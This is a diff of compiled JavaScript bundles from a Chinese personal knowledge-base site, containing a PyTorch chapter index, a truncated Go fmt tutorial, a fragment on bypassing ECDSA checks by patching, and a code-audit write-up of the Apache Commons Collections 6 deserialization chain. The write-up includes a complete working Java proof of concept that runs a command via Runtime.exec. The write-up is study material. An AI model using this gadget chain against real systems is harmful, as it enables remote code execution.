\u5929\u5bbd\u9650\uff09\u4e5f\u53ea\u662f\u5bbd\u9650\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6240\u4ee5\u8fd9\u5957\u4e1c\u897f\u7684\u51c6\u786e\u5b9a\u6027\u662f\uff1a",(0,s.jsx)(n.strong,{children:"\u8865\u4e01\u7ed5\u8fc7 + \u663e\u793a\u6539\u5199"}),'\u3002\u60f3\u8981"ECDSA \u6821\u9a8c\u6052\u4e3a\u771f"\u7684\u8865\u4e01\uff08\u628a verify \u51fd\u6570\u6539\u6210\u76f4\u63a5\u8fd4\u56de true\uff09\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u4f46\u90a3\u540c\u6837\u662f\u7ed5\u8fc7\uff0c\u4e0d\u662f\u4f2a\u9020 \u2014\u2014 \u800c\u4e14\u5b83\u6539\u4e0d\u4e86\u786c\u4ef6\u7ed1\u5b9a\u90a3\u4e00\u5c42\u3002']}),"\n"]})]})}function t(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(j,{...e})}):j(e)}}}]); \ No newline at end of file diff --git a/assets/js/ca484cc8.a68661c8.js b/assets/js/ca484cc8.a68661c8.js new file mode 100644 index 0000000..700d6f2 --- /dev/null +++ b/assets/js/ca484cc8.a68661c8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6929],{21193:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README","title":"\u7b2c\u516b\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u516b\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u516b\u7ae0",children:"\u7b2c\u516b\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u516b\u7ae0pytorch\u751f\u6001\u7b80\u4ecb",children:"\u7b2c\u516b\u7ae0\uff1aPyTorch\u751f\u6001\u7b80\u4ecb"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n8.1 \u672c\u7ae0\u7b80\u4ecb\n8.2 \u56fe\u50cf - torchvision\n8.3 \u89c6\u9891 - PyTorchVideo\n8.4 \u6587\u672c - torchtext\n8.5 \u97f3\u9891 - torchaudio\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/cae94aff.116ff75c.js b/assets/js/cae94aff.116ff75c.js new file mode 100644 index 0000000..6b2e573 --- /dev/null +++ b/assets/js/cae94aff.116ff75c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6924],{28453:(e,n,a)=>{a.d(n,{R:()=>c,x:()=>o});var s=a(96540);const t={},r=s.createContext(t);function c(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:c(e.components),s.createElement(r.Provider,{value:n},e.children)}},36271:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>m,frontMatter:()=>c,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","title":"Apache Commons Collections 6","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/06.CC6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/06.CC6.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3"},"next":{"title":"URLDNS","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS"}}');var t=a(74848),r=a(28453);const c={},o="Apache Commons Collections 6",i={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"CC6\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc6\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function p(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"apache-commons-collections-6",children:"Apache Commons Collections 6"})}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u6761\u94fe\u662f\u5229\u7528\u7684Map\u4e2d\u7684\u94fe\uff0c\u6240\u4ee5\u4e0d\u9650\u5236jdk\u7248"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0eCC1\u7684\u5165\u53e3\u4e00\u81f4\uff0c\u90fd\u662f",(0,t.jsx)(n.code,{children:"LazyMap.get()"}),"\uff0cCC6\u662f\u7531 ",(0,t.jsx)(n.code,{children:"TiedMapEntry"}),"\u7c7b\u4e2d\u7684",(0,t.jsx)(n.code,{children:"getValue"}),"\u65b9\u6cd5\uff0c\u5176\u4e2d\u7684map\u3001key\u90fd\u662f\u53ef\u4ee5\u63a7\u5236\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124870.png-1",alt:"image-20230221105532474"})}),"\n",(0,t.jsxs)(n.p,{children:["\u800c\u5728 ",(0,t.jsx)(n.code,{children:"TiedMapEntry"}),"\u7c7b\u4e2d\uff0c\u53ef\u4ee5\u627e\u5230 hashCode \u4e2d\u8c03\u7528\u4e86 ",(0,t.jsx)(n.code,{children:"getValue"})," \uff0c\u800c\u6211\u4eec\u77e5\u9053URLDNS\u8fd9\u6761\u94fe\u4e5f\u662f\u5229\u7528\u7684",(0,t.jsx)(n.code,{children:"hashCode"})," \uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u6210\u529f\u5229\u7528\u8fd9\u6761\u94fe"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124192.png-1",alt:"image-20230221110043135"})}),"\n",(0,t.jsx)(n.p,{children:"\u6ce8\uff1a\u8fd9\u91cc\u5b58\u5728\u4e24\u4e2a\u95ee\u9898"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["\u5728\u8fd9\u6761\u94fe\u4e2d\u8981\u60f3map\u4e2d\u6dfb\u52a0\u5143\u7d20\u4e5f\u4f1a\u89e6\u53d1",(0,t.jsx)(n.code,{children:"hash"})]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230221110644953",src:a(68568).A+"",width:"745",height:"273"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e3a\u4e86\u907f\u514d\u8fd9\u4e2a\u95ee\u9898\uff0c\u53ef\u4ee5\u5c06",(0,t.jsx)(n.code,{children:"Transformer"})," \u968f\u610f\u53d6\u503c\uff0c\u4e0d\u8ba9\u540e\u7eed\u94fe\u89e6\u53d1\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:"Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"2",children:["\n",(0,t.jsxs)(n.li,{children:["\u5e8f\u5217\u5316\u4e4b\u540e\uff0c\u4f1a\u5728map\u4e2d\u751f\u5b58\u4e00\u4e2a",(0,t.jsx)(n.code,{children:"key"}),"\uff0c\u5bfc\u81f4\u540e\u7eed\u65e0\u6cd5\u8fdb\u5165\u8fd9\u4e2aif\u8bed\u53e5\u4e2d"]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124225.png-1",alt:"image-20230221111046190"})}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\u5728\u6210\u529fput\u4e4b\u540e\uff0c\u8981\u5220\u9664\u6dfb\u52a0\u7684key"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'map.put(tiedMap,"aaa");\nlazy.remove("cccc");\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5b8c\u6574POC"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC6 {\n public static void main(String[] args) throws Exception {\n Transformer[] transformers = new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n };\n ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));\n TiedMapEntry tiedMap = new TiedMapEntry(lazy,"cccc");\n HashMap map = new HashMap<>();\n map.put(tiedMap,"aaa");\n lazy.remove("cccc");\n Class aClass = lazy.getClass();\n Field factory = aClass.getDeclaredField("factory");\n factory.setAccessible(true);\n factory.set(lazy,chainedTransformer);\n serialize(map);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n\n}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"cc6\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC6\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202303101124473.png-1",alt:"image-20230310112404524"})})]})}function m(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(p,{...e})}):p(e)}},68568:(e,n,a)=>{a.d(n,{A:()=>s});const s=a.p+"assets/images/image-20230221110644953-771069075e9cc43d6e93973e50c6cf78.png"}}]); \ No newline at end of file diff --git a/assets/js/cd8ac4bd.bf753504.js b/assets/js/cd8ac4bd.bf753504.js new file mode 100644 index 0000000..595a3f8 --- /dev/null +++ b/assets/js/cd8ac4bd.bf753504.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[972],{28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var r=t(96540);const s={},l=r.createContext(s);function i(n){const e=r.useContext(l);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(l.Provider,{value:e},n.children)}},31597:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","title":"fmt","description":"\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 Go\u8bed\u8a00fmt\u4f7f\u7528\u6307\u5357 | \u674e\u6587\u5468\u7684\u535a\u5ba2\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/01.GoLang-fmt.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/01.GoLang-fmt.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b"},"next":{"title":"02.GoLand-net.http.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http"}}');var s=t(74848),l=t(28453);const i={},c="fmt",d={},a=[{value:"\u5411\u5916\u8f93\u51fa",id:"\u5411\u5916\u8f93\u51fa",level:2},{value:"Print",id:"print",level:3},{value:"Fprint",id:"fprint",level:3},{value:"Sprint",id:"sprint",level:3},{value:"Errorf",id:"errorf",level:3},{value:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",id:"\u683c\u5f0f\u5316\u5360\u4f4d\u7b26",level:2},{value:"\u901a\u7528\u5360\u4f4d\u7b26",id:"\u901a\u7528\u5360\u4f4d\u7b26",level:3},{value:"\u5e03\u5c14\u578b",id:"\u5e03\u5c14\u578b",level:3},{value:"\u6574\u578b",id:"\u6574\u578b",level:3},{value:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",id:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",level:3},{value:"\u5b57\u7b26\u4e32\u548c[]byte",id:"\u5b57\u7b26\u4e32\u548cbyte",level:3},{value:"\u6307\u9488",id:"\u6307\u9488",level:3},{value:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",id:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",level:3},{value:"\u5176\u4ed6flag",id:"\u5176\u4ed6flag",level:3},{value:"\u83b7\u53d6\u8f93\u5165",id:"\u83b7\u53d6\u8f93\u5165",level:2},{value:"fmt.Scan",id:"fmtscan",level:3},{value:"fmt.Scanf",id:"fmtscanf",level:3},{value:"fmt.Scanln",id:"fmtscanln",level:3},{value:"bufio.NewReader",id:"bufionewreader",level:3},{value:"Fscan\u7cfb\u5217",id:"fscan\u7cfb\u5217",level:3},{value:"Sscan\u7cfb\u5217",id:"sscan\u7cfb\u5217",level:3}];function x(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"fmt",children:"fmt"})}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsxs)(e.p,{children:["\u672c\u7bc7\u77e5\u8bc6\uff0c\u642c\u8fd0\u81f3 ",(0,s.jsx)(e.a,{href:"https://www.liwenzhou.com/posts/Go/fmt/",children:"Go\u8bed\u8a00fmt\u4f7f\u7528\u6307\u5357 | \u674e\u6587\u5468\u7684\u535a\u5ba2"}),"\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8054\u7cfb\u6211\u4e0b\u67b6 \u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"fmt\u5305\u5b9e\u73b0\u4e86\u7c7b\u4f3cC\u8bed\u8a00printf\u548cscanf\u7684\u683c\u5f0f\u5316I/O\u3002\u4e3b\u8981\u5206\u4e3a\u5411\u5916\u8f93\u51fa\u5185\u5bb9\u548c\u83b7\u53d6\u8f93\u5165\u5185\u5bb9\u4e24\u5927\u90e8\u5206\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u5411\u5916\u8f93\u51fa",children:"\u5411\u5916\u8f93\u51fa"}),"\n",(0,s.jsxs)(e.p,{children:["\u6807\u51c6\u5e93",(0,s.jsx)(e.code,{children:"fmt"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u51e0\u79cd\u8f93\u51fa\u76f8\u5173\u51fd\u6570\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"print",children:"Print"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Print"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u5c06\u5185\u5bb9\u8f93\u51fa\u5230\u7cfb\u7edf\u7684\u6807\u51c6\u8f93\u51fa\uff0c\u533a\u522b\u5728\u4e8e",(0,s.jsx)(e.code,{children:"Print"}),"\u51fd\u6570\u76f4\u63a5\u8f93\u51fa\u5185\u5bb9\uff0c",(0,s.jsx)(e.code,{children:"Printf"}),"\u51fd\u6570\u652f\u6301\u683c\u5f0f\u5316\u8f93\u51fa\u5b57\u7b26\u4e32\uff0c",(0,s.jsx)(e.code,{children:"Println"}),"\u51fd\u6570\u4f1a\u5728\u8f93\u51fa\u5185\u5bb9\u7684\u7ed3\u5c3e\u6dfb\u52a0\u4e00\u4e2a\u6362\u884c\u7b26\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Print(a ...interface{}) (n int, err error)\nfunc Printf(format string, a ...interface{}) (n int, err error)\nfunc Println(a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tfmt.Print("\u5728\u7ec8\u7aef\u6253\u5370\u8be5\u4fe1\u606f\u3002")\n\tname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\n\tfmt.Printf("\u6211\u662f\uff1a%s\\n", name)\n\tfmt.Println("\u5728\u7ec8\u7aef\u6253\u5370\u5355\u72ec\u4e00\u884c\u663e\u793a")\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"\u5728\u7ec8\u7aef\u6253\u5370\u8be5\u4fe1\u606f\u3002\u6211\u662f\uff1a\u6c99\u6cb3\u5c0f\u738b\u5b50\n\u5728\u7ec8\u7aef\u6253\u5370\u5355\u72ec\u4e00\u884c\u663e\u793a\n"})}),"\n",(0,s.jsx)(e.h3,{id:"fprint",children:"Fprint"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Fprint"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u5c06\u5185\u5bb9\u8f93\u51fa\u5230\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"io.Writer"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,s.jsx)(e.code,{children:"w"}),"\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u7528\u8fd9\u4e2a\u51fd\u6570\u5f80\u6587\u4ef6\u4e2d\u5199\u5165\u5185\u5bb9\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Fprint(w io.Writer, a ...interface{}) (n int, err error)\nfunc Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)\nfunc Fprintln(w io.Writer, a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'// \u5411\u6807\u51c6\u8f93\u51fa\u5199\u5165\u5185\u5bb9\nfmt.Fprintln(os.Stdout, "\u5411\u6807\u51c6\u8f93\u51fa\u5199\u5165\u5185\u5bb9")\nfileObj, err := os.OpenFile("./xx.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)\nif err != nil {\n\tfmt.Println("\u6253\u5f00\u6587\u4ef6\u51fa\u9519\uff0cerr:", err)\n\treturn\n}\nname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\n// \u5411\u6253\u5f00\u7684\u6587\u4ef6\u53e5\u67c4\u4e2d\u5199\u5165\u5185\u5bb9\nfmt.Fprintf(fileObj, "\u5f80\u6587\u4ef6\u4e2d\u5199\u5982\u4fe1\u606f\uff1a%s", name)\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u6ce8\u610f\uff0c\u53ea\u8981\u6ee1\u8db3",(0,s.jsx)(e.code,{children:"io.Writer"}),"\u63a5\u53e3\u7684\u7c7b\u578b\u90fd\u652f\u6301\u5199\u5165\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"sprint",children:"Sprint"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Sprint"}),"\u7cfb\u5217\u51fd\u6570\u4f1a\u628a\u4f20\u5165\u7684\u6570\u636e\u751f\u6210\u5e76\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Sprint(a ...interface{}) string\nfunc Sprintf(format string, a ...interface{}) string\nfunc Sprintln(a ...interface{}) string\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s1 := fmt.Sprint("\u6c99\u6cb3\u5c0f\u738b\u5b50")\nname := "\u6c99\u6cb3\u5c0f\u738b\u5b50"\nage := 18\ns2 := fmt.Sprintf("name:%s,age:%d", name, age)\ns3 := fmt.Sprintln("\u6c99\u6cb3\u5c0f\u738b\u5b50")\nfmt.Println(s1, s2, s3)\n'})}),"\n",(0,s.jsx)(e.h3,{id:"errorf",children:"Errorf"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"Errorf"}),"\u51fd\u6570\u6839\u636eformat\u53c2\u6570\u751f\u6210\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u5e76\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u8be5\u5b57\u7b26\u4e32\u7684\u9519\u8bef\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Errorf(format string, a ...interface{}) error\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u5e38\u4f7f\u7528\u8fd9\u79cd\u65b9\u5f0f\u6765\u81ea\u5b9a\u4e49\u9519\u8bef\u7c7b\u578b\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'err := 